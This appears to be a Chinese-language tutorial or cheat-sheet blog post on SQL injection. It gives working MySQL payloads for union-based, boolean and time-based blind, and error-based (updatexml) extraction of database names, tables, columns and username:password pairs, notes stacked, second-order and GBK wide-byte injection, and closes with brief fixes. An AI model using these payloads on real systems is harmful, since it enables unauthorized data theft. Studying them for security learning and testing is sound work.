SQL注入

Chiexf Lv4

0x00 SQL注入概念

SQL注入是一种针对Web应用程序的攻击技术,攻击者通过利用应用程序没有正确过滤或转义用户输入的漏洞,在执行SQL查询时注入恶意代码,以达到获取、删除、修改数据等目的。

0x01 SQL注入原理

由于服务器未严格校验用户传递的数据,使得攻击者通过构造恶意字符或SQL语句,导致服务器端SQL代码产生歧义并执行了未经授权的查询命令。

0x02 SQL注入危害

数据库信息泄露。

数据库数据完整性破坏。

未经授权访问。

登录认证绕过。

0x03 SQL注入条件

用户可以控制传参。

用户输入的语句被带入到数据库中执行。

0x04 SQL注入利用

显注—union

判断是否存在注入点

1
2
3
4
5
6
数字
?id=1 and 1=1 正常
?id=1 and 1=2 报错
字符
?id=1' and 1=1# 正常
?id=1' and 1=2# 报错

判断字段数

1
2
3
4
5
6
?id=1' order by 2# 正常
?id=1' order by 3# 报错

?id=1' union select 1,2# 正常
?id=1' union select 1,2,3# 报错
可判断字段数为3

获取数据库信息

1
2
?id=1' and 1=2 union select 1,database() #查当前的库名
?id=1' and 1=2 union select 1,schema_name from information_schema.schemata # 查全部库名

查询数据库表名

1
?id=1'and 1=2 union select 1,table_name from information_schema.tables where table_schema='数据库名'#

查询数据库字段

1
2
?id=1'and 1=2 union select 1,column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'#

获取信息

1
?id=1' and 1=2 union select 1,字段名 from 表名#

Boolean盲注

只能通过页面返回的真假条件判断是否存在注入

判断是否存在注入点

1
2
?id=1' and 1=1#		页面返回正常
?id=1' and 1=2# 页面返回不正常

判断数据库名长度—length()

1
2
3
?id=1'and length(database())>=1#		页面返回正常
?id=1'and length(database())>=13# 页面返回正常
?id=1'and length(database())>=14# 页面返回错误

猜解数据库名

1
2
3
4
5
6
7
8
9
10
11
12
-当前数据库
?id=1' and substr(database(),1,1)='a'#
?id=1' and substr(database(),2,1)='a'#
?id=1' and ascii(substr(database(),2,1))=97#
-所有数据库
--数据库总数
?id=1' and (select count(schema_name) from information_schema.schemata)=6#
--第一个数据库库名长度
?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
--爆库名
?id=1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a'
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=97#

查询数据库表名

1
2
3
4
5
6
7
-判断有几个表名
?id=1' and (select count(table_name) from information_schema.tables where table_schema='数据库名')=2 #
-判断第一个表名长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))<15#
-爆表名
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97 #

查询数据库列名

1
2
3
4
5
6
7
-判断查询的表有多少列
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名')=8 #
-判断每一列的列名长
?id=1' and length((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1))=7#
-判断第一列列名
?id=1' and substr((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1),1,1))='p'#
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema= '数据库名' and table_name= '表名' limit 0,1),1,1)))=97#

获取信息

1
2
3
4
5
6
7
-判断列中有几条记录
?id=1' and (select count(*) from 数据库名.表名)=5#
-判断这一列的第一条记录的长度是否为5
?id=1' and length(substr((select 列名 from 表名 limit 0,1),1))=5#
-判断这一列的第一条记录的第一个字段是否为a
?id=1' and substr((select user from users limit 0,1),1,1)='a'#
?id=1' and ascii(substr((select user from users limit 0,1),1,1))=97#

时间盲注

原理:没有具体回显,只能通过后台执行时间判断

1
2
3
4
5
6
知识点:
sleep()、benchmark() ---延时函数
if(a,b,c) ---如果a正确,执行b,否则执行c

主要通过 if()+延时函数+Boolean盲注
?id=1' and if(length(database()>2),sleep(2),1)# ---如果数据库名长度大于2,即会延迟两秒执行。

判断注入点

1
2
?id=1' and 1=1 and sleep(2)# 页面正常,延时2秒
?id=1' and 1=2 and sleep(2)# 页面不正常,没有延时

报错注入

服务器开启了错误回显,利用报错函数获取数据库数据。

1
2
3
4
5
6
7
8
9
10
11
-xpath语法
extractvalue(xml_document,Xpath_string) --查询节点内容
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
updatexml() --修改查询到的内容

注:
extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,可以用substr()函数截取或limit分页,一次查看最多32位
ascii(~)=0x7e
~ 可以换成#,$等不符合xpath格式的字符
1
2
3
payload:
?id=1'and (select updatexml("anything",concat('~',(注入语句),0x7e),"anything"))#
当concat内容不符合xpath语法时,会报错并将结果带出来。

查询数据库名

1
?id=1' and (select updatexml(1,concat('~',(select database()),0x7e),1))#

查表名

1
2
3
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)#

查列名

1
2
3
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1)#

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)#

查数据

1
2
3
4
?id=1' and updatexml(1,concat(0x7e,(select
group_concat(COLUMN_NAME)from TABLE_NAME),0x7e),1)#

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

主键重复报错注入

特殊位置注入

cookie注入、Header注入、UA注入、Referer注入

堆叠注入

原理:数据库的堆叠查询可以执行多条语句,多语句之间可以用分号隔开。

二次注入

第一步:插入恶意数据,在进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据,开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

宽字节注入

在一些特定编码中才会遇到,如GBK等。

原理:

在GBK编码中,使用两个字节来表示一个字符,在MySQL中会认为两个字符为一个汉字(ASCII>128)

在php中使用addslashes函数时,会将单引号’(%27)转义成\'(%5c%27),可以在前面加上%df构成%df%5c%27,前面的%df%5c会被当成一个汉字,实现单引号逃逸。

0x05 SQL注入漏洞修复

  • 使用预编译语句

    绑定变量,攻击者无法去改变SQL的结构。

  • 使用安全函数

  • 检查数据类型